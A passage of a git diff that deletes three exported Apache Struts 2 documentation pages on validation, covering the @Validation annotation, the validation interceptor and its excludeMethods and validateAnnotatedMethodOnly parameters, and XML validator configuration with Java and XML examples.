-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Validation Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="validation-annotation.html">Validation Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Validation Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13916">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13916">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13916">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13916">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13916">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13916">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This annotation has been deprecated since 2.1 as its previous purpose, to define classes that support annotation validations,
-is no longer necessary.</p>
-
-<h2 id="ValidationAnnotation-Usage">Usage</h2>
-
-<p></p><p>The Validation annotation must be applied at Type level.</p>
-
-<h2 id="ValidationAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">validations</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td [...]
-
-<h2 id="ValidationAnnotation-Examples">Examples</h2>
-
-<p><strong>An Annotated Interface</strong></p>
-<ul><li>Mark the interface with @Validation()</li><li>Apply standard or custom annoations at method level</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@Validation()
-public interface AnnotationDataAware {
-
-    void setBarObj(Bar b);
-
-    Bar getBarObj();
-
-    @RequiredFieldValidator(message = &quot;You must enter a value for data.&quot;)
-    @RequiredStringValidator(message = &quot;You must enter a value for data.&quot;)
-    void setData(String data);
-
-    String getData();
-}
-]]></script>
-</div></div>
-<p><strong>An Annotated Class</strong></p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@Validation()
-public class SimpleAnnotationAction extends ActionSupport {
-
-    @RequiredFieldValidator(type = ValidatorType.FIELD, message = &quot;You must enter a value for bar.&quot;)
-    @IntRangeFieldValidator(type = ValidatorType.FIELD, min = &quot;6&quot;, max = &quot;10&quot;, message = &quot;bar must be between ${min} and ${max}, current value is ${bar}.&quot;)
-    public void setBar(int bar) {
-        this.bar = bar;
-    }
-
-    public int getBar() {
-        return bar;
-    }
-
-    @Validations(
-            requiredFields =
-                    {@RequiredFieldValidator(type = ValidatorType.SIMPLE, fieldName = &quot;customfield&quot;, message = &quot;You must enter a value for field.&quot;)},
-            requiredStrings =
-                    {@RequiredStringValidator(type = ValidatorType.SIMPLE, fieldName = &quot;stringisrequired&quot;, message = &quot;You must enter a value for string.&quot;)},
-            emails =
-                    { @EmailValidator(type = ValidatorType.SIMPLE, fieldName = &quot;emailaddress&quot;, message = &quot;You must enter a value for email.&quot;)},
-            urls =
-                    { @UrlValidator(type = ValidatorType.SIMPLE, fieldName = &quot;hreflocation&quot;, message = &quot;You must enter a value for email.&quot;)},
-            stringLengthFields =
-                    {@StringLengthFieldValidator(type = ValidatorType.SIMPLE, trim = true, minLength=&quot;10&quot; , maxLength = &quot;12&quot;, fieldName = &quot;needstringlength&quot;, message = &quot;You must enter a stringlength.&quot;)},
-            intRangeFields =
-                    { @IntRangeFieldValidator(type = ValidatorType.SIMPLE, fieldName = &quot;intfield&quot;, min = &quot;6&quot;, max = &quot;10&quot;, message = &quot;bar must be between ${min} and ${max}, current value is ${bar}.&quot;)},
-            dateRangeFields =
-                    {@DateRangeFieldValidator(type = ValidatorType.SIMPLE, fieldName = &quot;datefield&quot;, min = &quot;-1&quot;, max = &quot;99&quot;, message = &quot;bar must be between ${min} and ${max}, current value is ${bar}.&quot;)},
-            expressions = {
-                @ExpressionValidator(expression = &quot;foo &gt; 1&quot;, message = &quot;Foo must be greater than Bar 1. Foo = ${foo}, Bar = ${bar}.&quot;),
-                @ExpressionValidator(expression = &quot;foo &gt; 2&quot;, message = &quot;Foo must be greater than Bar 2. Foo = ${foo}, Bar = ${bar}.&quot;),
-                @ExpressionValidator(expression = &quot;foo &gt; 3&quot;, message = &quot;Foo must be greater than Bar 3. Foo = ${foo}, Bar = ${bar}.&quot;),
-                @ExpressionValidator(expression = &quot;foo &gt; 4&quot;, message = &quot;Foo must be greater than Bar 4. Foo = ${foo}, Bar = ${bar}.&quot;),
-                @ExpressionValidator(expression = &quot;foo &gt; 5&quot;, message = &quot;Foo must be greater than Bar 5. Foo = ${foo}, Bar = ${bar}.&quot;)
-    }
-    )
-    public String execute() throws Exception {
-        return SUCCESS;
-    }
-}
-
-]]></script>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>When multiple methods are used to map different actions on the same class, and one of them is annotated with <em>@Validations</em>, those validators will be triggered for all the actions, unless they are annotated with @SkipValidation or <em>validateAnnotatedMethodOnly</em> is set to <em>true</em> in the "validation" interceptor, like:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">
-&lt;interceptor-ref name="validation"&gt;
-    &lt;param name="validateAnnotatedMethodOnly"&gt;true&lt;/param&gt;
-    &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-&lt;/interceptor-ref&gt;
-</pre>
-</div></div></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/validation-interceptor.html b/content/docs/validation-interceptor.html
deleted file mode 100644
index 55c7bc8..0000000
--- a/content/docs/validation-interceptor.html
+++ /dev/null
@@ -1,231 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Validation Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="validation-interceptor.html">Validation Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Validation Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14131">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14131">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14131">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14131">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14131">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14131">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p></p><p>
-This interceptor runs the action through the standard validation framework, which in turn checks the action against
-any validation rules (found in files such as <i>ActionClass-validation.xml</i>) and adds field-level and action-level
-error messages (provided that the action implements ValidationAware). This interceptor
-is often one of the last (or second to last) interceptors applied in a stack, as it assumes that all values have
-already been set on the action.
-</p>
-
-<p></p><p>
-This interceptor does nothing if the name of the method being invoked is specified in the <b>excludeMethods</b>
-parameter. <b>excludeMethods</b> accepts a comma-delimited list of method names. For example, requests to
-<b>foo!input.action</b> and <b>foo!back.action</b> will be skipped by this interceptor if you set the
-<b>excludeMethods</b> parameter to "input, back".
-</p>
-
-<p></p><p>
-The workflow of the action request does not change due to this interceptor. Rather,
-this interceptor is often used in conjunction with the <b>workflow</b> interceptor.
-</p>
-
-<p></p><p>
-<b>NOTE:</b> As this method extends off MethodFilterInterceptor, it is capable of
-deciding if it is applicable only to selective methods in the action class. See
-<code>MethodFilterInterceptor</code> for more info.
-</p>
-
-
-<h2 id="ValidationInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>alwaysInvokeValidate - Defaults to true. If true validate() method will always
-be invoked, otherwise it will not.</li></ul><p></p><ul><li>programmatic - Defaults to true. If true and the action is Validateable call validate(),
-and any method that starts with "validate".
-</li></ul><p></p><ul><li>declarative - Defaults to true. Perform validation based on xml or annotations.</li></ul><p></p>
-
-
-<h2 id="ValidationInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-
-<p>There are no known extension points for this interceptor.</p>
-
-
-<h2 id="ValidationInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;params&quot;/&gt;
-    &lt;interceptor-ref name=&quot;validation&quot;/&gt;
-    &lt;interceptor-ref name=&quot;workflow&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;-- in the following case myMethod of the action class will not
-       get validated --&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;params&quot;/&gt;
-    &lt;interceptor-ref name=&quot;validation&quot;&gt;
-        &lt;param name=&quot;excludeMethods&quot;&gt;myMethod&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-    &lt;interceptor-ref name=&quot;workflow&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;-- in the following case only annotated methods of the action class will
-       be validated --&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;params&quot;/&gt;
-    &lt;interceptor-ref name=&quot;validation&quot;&gt;
-        &lt;param name=&quot;validateAnnotatedMethodOnly&quot;&gt;true&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-    &lt;interceptor-ref name=&quot;workflow&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/validation.html b/content/docs/validation.html
deleted file mode 100644
index c08399f..0000000
--- a/content/docs/validation.html
+++ /dev/null
@@ -1,256 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Validation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Validation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14292">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14292">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14292">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14292">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14292">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14292">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Struts 2 validation is configured via XML or annotations. Manual validation in the action is also possible, and may be combined with XML and annotation-driven validation.</p><p>Validation also depends on both the <code>validation</code> and <code>workflow</code> interceptors (both are included in the default interceptor stack). The <code>validation</code> interceptor does the validation itself and creates a list of field-specific errors. The <co [...]
-   ...
-   &lt;interceptor-ref name="validation"&gt;
-      &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-   &lt;/interceptor-ref&gt;
-   &lt;interceptor-ref name="workflow"&gt;
-      &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-   &lt;/interceptor-ref&gt;
-&lt;/interceptor-stack&gt;
-</plain-text-body><p>Beginning with version 2.0.4 Struts provides an extension to XWork's <code>com.opensymphony.xwork2.validator.ValidationInterceptor</code> interceptor.</p><parameter ac:name="lang">xml</parameter><plain-text-body>&lt;interceptor name="validation" class="org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor"/&gt;
-</plain-text-body><p>This interceptor allows us to turn off validation for a specific method by using the <code>@org.apache.struts2.interceptor.validation.SkipValidation</code> annotation on the action method.</p><h2 id="Validation-ValidatorScopes">Validator Scopes</h2><p><plain-text-body>{snippet:id=fieldValidators|javadoc=true|url=com.opensymphony.xwork2.validator/ValidatorFactory.java}</plain-text-body><plain-text-body>{snippet:id=nonFieldValidators|javadoc=true|url=com.opensymphony.x [...]
-    &lt;param name="expression"&gt;foo gt bar&lt;/param&gt; 
-    &lt;message&gt;foo must be great than bar.&lt;/message&gt; 
-&lt;/validator&gt; 
-</plain-text-body><parameter ac:name="">xml</parameter><plain-text-body>&lt;validator type="required"&gt; 
-    &lt;param name="fieldName"&gt;bar&lt;/param&gt; 
-    &lt;message&gt;You must enter a value for bar.&lt;/message&gt; 
-&lt;/validator&gt; 
-</plain-text-body><p><strong>field-validator</strong>: The &lt;field-validator&gt; elements are basically the same as the &lt;validator&gt; elements except that they inherit the fieldName attribute from the enclosing &lt;field&gt; element. FieldValidators defined within a &lt;field-validator&gt; element will have their fieldName automatically filled with the value of the parent &lt;field&gt; element's fieldName attribute. The reason for this structure is to conveniently group the validat [...]
-    &lt;field-validator type="required"&gt; 
-        &lt;message&gt;You cannot leave the email address field empty.&lt;/message&gt; 
-    &lt;/field-validator&gt; 
-    &lt;field-validator type="email"&gt; 
-        &lt;message&gt;The email address you entered is not valid.&lt;/message&gt; 
-    &lt;/field-validator&gt; 
-&lt;/field&gt; 
-</plain-text-body><p>The choice is yours. It's perfectly legal to only use elements without the elements and set the fieldName attribute for each of them. The following are effectively equal:</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;field name="email_address"&gt; 
-    &lt;field-validator type="required"&gt; 
-        &lt;message&gt;You cannot leave the email address field empty.&lt;/message&gt; 
-    &lt;/field-validator&gt; 
-    &lt;field-validator type="email"&gt; 
-        &lt;message&gt;The email address you entered is not valid.&lt;/message&gt; 
-    &lt;/field-validator&gt; 
-&lt;/field&gt; 
- 
-&lt;validator type="required"&gt; 
-    &lt;param name="fieldName"&gt;email_address&lt;/param&gt; 
-    &lt;message&gt;You cannot leave the email address field empty.&lt;/message&gt; 
-&lt;/validator&gt; 
-&lt;validator type="email"&gt; 
-    &lt;param name="fieldName"&gt;email_address&lt;/param&gt; 
-    &lt;message&gt;The email address you entered is not valid.&lt;/message&gt; 
-&lt;/validator&gt; 
-</plain-text-body><h2 id="Validation-Short-CircuitingValidator">Short-Circuiting Validator</h2><p><plain-text-body>{snippet:id=shortCircuitingValidators1|javadoc=true|url=com.opensymphony.xwork2.validator/Validator.java}</plain-text-body><plain-text-body>{snippet:id=exShortCircuitingValidators|lang=xml|javadoc=true|url=com.opensymphony.xwork2.validator/Validator.java}</plain-text-body><plain-text-body>{snippet:id=shortCircuitingValidators2|javadoc=true|url=com.opensymphony.xwork2.validat [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
